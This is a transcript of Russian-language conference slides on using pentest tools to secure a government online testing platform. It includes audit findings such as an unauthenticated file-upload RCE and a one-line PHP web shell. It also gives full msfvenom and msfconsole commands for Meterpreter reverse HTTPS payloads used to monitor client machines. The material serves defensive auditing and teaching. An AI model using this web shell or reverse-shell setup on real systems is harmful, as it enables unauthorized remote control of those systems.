Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Техники пентеста для
активной защиты
Mykola Ovcharuk (@movcharuk)
Mykola Ilin (@mykolailin)
$ whoami
Николай Овчарук
● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP
● network security dcua CTF team
Николай Ильин
● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ”
● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team
● Email: m@infosec.kiev.ua
2
Содержание
1. Исходные данные
2. Задачи
3. Защита хостинга
4. Аудит системы тестирования
5. Solver
6. Контроль клиентских машин
7. Инциденты
8. Выводы
3
Исходные данные
● LEMP
● Веб-приложение на PHP
● Зоопарк из ~2k клиентских машин
● Открытый канал клиент-сервер
4
Задачи
● защита от вмешательства в процесс тестирования
● контроль целостности результатов тестирования
● обеспечение доступности системы
5
Защита хостинга
● Обновление системы
● IP-фильтрация
● Логирование на внешний независимый сервер
● Резервное копирование
6
Аудит системы тестирования
privilege escalation
POST /users/password/645 HTTP/1.1
Host: ***.gov.ua
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://***.gov.ua/users/update/645
Content-Length: 24
Cookie: PHPSESSID=l90s0ohv5v…04sqd23;
YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512
Connection: keep-alive
users%5Bpassword%5D=1234
HTTP/1.1 200 OK
7
Аудит системы тестирования
preauth remote code execution
Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без
аутентификации
http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
Эксплуатируется без дополнительных средств
8
Аудит системы тестирования
9
Аудит системы тестирования
10
Аудит системы тестирования - 3
Notepad, web shell s.php
<?=`$_GET[1]`;?>
11
Аудит системы тестирования - 3
12
Аудит системы тестирования
13
Аудит системы тестирования
14
Аудит системы тестирования
15
Аудит системы тестирования
16
Аудит системы тестирования
17
Solver
~ 100 строк кода, 2 секунды и 100% результат
$ time ./gp_solver.py
session <Cookie PHPSESSID=... for zzz.gov.ua/>
logged in as K00000
...
5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218-
16952 6754:6763-27130 6370:6379-25593
test finished
RESULT 100%
./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total
В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address bar
Подсветка правильных решений
18
Solver
Использованием солвера добились:
● Демонстрация бреши => изменение архитектуры
● Нагрузочное тестирование => оптимизация системных настроек
19
Контроль клиентских машин
● Терминальный доступ к системе тестирования
● Meterpreter для контроля процессов и не только
20
Контроль клиентских машин | Meterpreter
● Мониторинг системных процессов
● Printscreen, в случае подозрения на фрод
● Дамп памяти + volatility при анализе инцидентов
21
Контроль клиентских машин | Meterpreter
Пример генерации пейлоада:
$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true 
HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe
Ждем подключений:
$ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD 
windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem; 
set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true; 
set AutoRunScript multiscript -rc ./run.txt; exploit -j -z'
Контролируется целостность шеллкода при передаче, защита от MITM
22
Контроль клиентских машин | Meterpreter
$ cat /root/.msf4/payloads.json
"2b246a24f46aa2": {
"arch": "x86",
"platform": "windows",
"payload": "payload/windows/meterpreter/reverse_winhttps",
"datastore": {
"AutoSystemInfo": true,
"AutoVerifySession": true,
"HANDLERSSLCERT": "./Cert.pem",
"PayloadProxyIE": true,
"PayloadUUIDTracking": true,
"StagerVerifySSLCert": true
},
"name": "k0000",
"urls": [
"/KyRpaiT0buKeVp9XyMccFH...DKcycuab5Xj5fNpo-muQowoWzbWn180rRT3IH7JqaL"
]
23
Контроль клиентских машин | Meterpreter
msf exploit(handler) > sessions -l
<…>
118 meterpreter x86/win32 WS14User @ WS14 x.x.x.x:13788 -> y.y.y.y:63836 (172.16.1.142)
119 meterpreter x86/win32 WS221User @ WS221 x.x.x.x:13788 -> y.y.y.y:63837 (172.16.1.200)
120 meterpreter x86/win32 WS223User @ WS223 x.x.x.x:13788 -> y.y.y.y:63838 (172.16.1.213)
121 meterpreter x86/win32 WS141Admin @ WS141 x.x.x.x:13788 -> y.y.y.y:63413 (172.16.1.68)
122 meterpreter x86/win32 PCAdministrator @ PC x.x.x.x:13788 -> y.y.y.y:56938 (172.16.180.79)
24
Контроль клиентских машин | Meterpreter
Опрос всех машин:
<ruby>
framework.sessions.each do |num,session|
print_status("Session #{num}")
session.sys.process.get_processes().each do |x|
print_status(" #{num} = Process: #{x['pid']} #{x['name']}")
end
end
</ruby>
+ run winenum, сравнение конфигурации до и после начала теста
25
Контроль клиентских машин | Meterpreter
3 = Process: 1048 svchost.exe
3 = Process: 1176 spoolsv.exe
3 = Process: 1212 svchost.exe
3 = Process: 1428 taskhost.exe
3 = Process: 1548 explorer.exe
3 = Process: 1980 svchost.exe
3 = Process: 2016 TeamViewer_Service.exe
3 = Process: 1708 hkcmd.exe
3 = Process: 1700 igfxpers.exe
3 = Process: 2308 VDeck.exe
3 = Process: 2316 USBGuard.exe
3 = Process: 2328 jusched.exe
3 = Process: 2736 egui.exe
3 = Process: 2768 SearchIndexer.exe
26
Инциденты
● Неполный физический контроль на местах, <1 представитель на
аудиторию (помощь волонтеров)
● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест,
принимается первое решение (детектируется в аудите логов)
● Разработчики пишут код после начала промышленного тестирования и
имеют доступ к БД (детектируется при сверке статистики)
27
Выводы
● Время промышленной эксплуатации системы и предыдущие пентесты не
гарантируют безопасность.
● как разработчики, так и предыдущие аудиторы могут оказаться идиотами
● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не
CTF — объективные оценки квалификации часто отсутствуют
● Многие технологии “атакующей стороны” могут быть полезны при
защите.
● средства вторжения для нагрузочного тестирования
● средства доступа для контроля оконечных устройств
28
29

More Related Content

Техники пентеста для активной защиты - Николай Овчарук

  • 1. Техники пентеста для активной защиты Mykola Ovcharuk (@movcharuk) Mykola Ilin (@mykolailin)
  • 2. $ whoami Николай Овчарук ● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP ● network security dcua CTF team Николай Ильин ● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ” ● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team ● Email: m@infosec.kiev.ua 2
  • 3. Содержание 1. Исходные данные 2. Задачи 3. Защита хостинга 4. Аудит системы тестирования 5. Solver 6. Контроль клиентских машин 7. Инциденты 8. Выводы 3
  • 4. Исходные данные ● LEMP ● Веб-приложение на PHP ● Зоопарк из ~2k клиентских машин ● Открытый канал клиент-сервер 4
  • 5. Задачи ● защита от вмешательства в процесс тестирования ● контроль целостности результатов тестирования ● обеспечение доступности системы 5
  • 6. Защита хостинга ● Обновление системы ● IP-фильтрация ● Логирование на внешний независимый сервер ● Резервное копирование 6
  • 7. Аудит системы тестирования privilege escalation POST /users/password/645 HTTP/1.1 Host: ***.gov.ua Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://***.gov.ua/users/update/645 Content-Length: 24 Cookie: PHPSESSID=l90s0ohv5v…04sqd23; YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512 Connection: keep-alive users%5Bpassword%5D=1234 HTTP/1.1 200 OK 7
  • 8. Аудит системы тестирования preauth remote code execution Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без аутентификации http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php Эксплуатируется без дополнительных средств 8
  • 11. Аудит системы тестирования - 3 Notepad, web shell s.php <?=`$_GET[1]`;?> 11
  • 18. Solver ~ 100 строк кода, 2 секунды и 100% результат $ time ./gp_solver.py session <Cookie PHPSESSID=... for zzz.gov.ua/> logged in as K00000 ... 5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218- 16952 6754:6763-27130 6370:6379-25593 test finished RESULT 100% ./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address bar Подсветка правильных решений 18
  • 19. Solver Использованием солвера добились: ● Демонстрация бреши => изменение архитектуры ● Нагрузочное тестирование => оптимизация системных настроек 19
  • 20. Контроль клиентских машин ● Терминальный доступ к системе тестирования ● Meterpreter для контроля процессов и не только 20
  • 21. Контроль клиентских машин | Meterpreter ● Мониторинг системных процессов ● Printscreen, в случае подозрения на фрод ● Дамп памяти + volatility при анализе инцидентов 21
  • 22. Контроль клиентских машин | Meterpreter Пример генерации пейлоада: $ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe Ждем подключений: $ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem; set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true; set AutoRunScript multiscript -rc ./run.txt; exploit -j -z' Контролируется целостность шеллкода при передаче, защита от MITM 22
  • 23. Контроль клиентских машин | Meterpreter $ cat /root/.msf4/payloads.json "2b246a24f46aa2": { "arch": "x86", "platform": "windows", "payload": "payload/windows/meterpreter/reverse_winhttps", "datastore": { "AutoSystemInfo": true, "AutoVerifySession": true, "HANDLERSSLCERT": "./Cert.pem", "PayloadProxyIE": true, "PayloadUUIDTracking": true, "StagerVerifySSLCert": true }, "name": "k0000", "urls": [ "/KyRpaiT0buKeVp9XyMccFH...DKcycuab5Xj5fNpo-muQowoWzbWn180rRT3IH7JqaL" ] 23
  • 24. Контроль клиентских машин | Meterpreter msf exploit(handler) > sessions -l <…> 118 meterpreter x86/win32 WS14User @ WS14 x.x.x.x:13788 -> y.y.y.y:63836 (172.16.1.142) 119 meterpreter x86/win32 WS221User @ WS221 x.x.x.x:13788 -> y.y.y.y:63837 (172.16.1.200) 120 meterpreter x86/win32 WS223User @ WS223 x.x.x.x:13788 -> y.y.y.y:63838 (172.16.1.213) 121 meterpreter x86/win32 WS141Admin @ WS141 x.x.x.x:13788 -> y.y.y.y:63413 (172.16.1.68) 122 meterpreter x86/win32 PCAdministrator @ PC x.x.x.x:13788 -> y.y.y.y:56938 (172.16.180.79) 24
  • 25. Контроль клиентских машин | Meterpreter Опрос всех машин: <ruby> framework.sessions.each do |num,session| print_status("Session #{num}") session.sys.process.get_processes().each do |x| print_status(" #{num} = Process: #{x['pid']} #{x['name']}") end end </ruby> + run winenum, сравнение конфигурации до и после начала теста 25
  • 26. Контроль клиентских машин | Meterpreter 3 = Process: 1048 svchost.exe 3 = Process: 1176 spoolsv.exe 3 = Process: 1212 svchost.exe 3 = Process: 1428 taskhost.exe 3 = Process: 1548 explorer.exe 3 = Process: 1980 svchost.exe 3 = Process: 2016 TeamViewer_Service.exe 3 = Process: 1708 hkcmd.exe 3 = Process: 1700 igfxpers.exe 3 = Process: 2308 VDeck.exe 3 = Process: 2316 USBGuard.exe 3 = Process: 2328 jusched.exe 3 = Process: 2736 egui.exe 3 = Process: 2768 SearchIndexer.exe 26
  • 27. Инциденты ● Неполный физический контроль на местах, <1 представитель на аудиторию (помощь волонтеров) ● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест, принимается первое решение (детектируется в аудите логов) ● Разработчики пишут код после начала промышленного тестирования и имеют доступ к БД (детектируется при сверке статистики) 27
  • 28. Выводы ● Время промышленной эксплуатации системы и предыдущие пентесты не гарантируют безопасность. ● как разработчики, так и предыдущие аудиторы могут оказаться идиотами ● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не CTF — объективные оценки квалификации часто отсутствуют ● Многие технологии “атакующей стороны” могут быть полезны при защите. ● средства вторжения для нагрузочного тестирования ● средства доступа для контроля оконечных устройств 28
  • 29. 29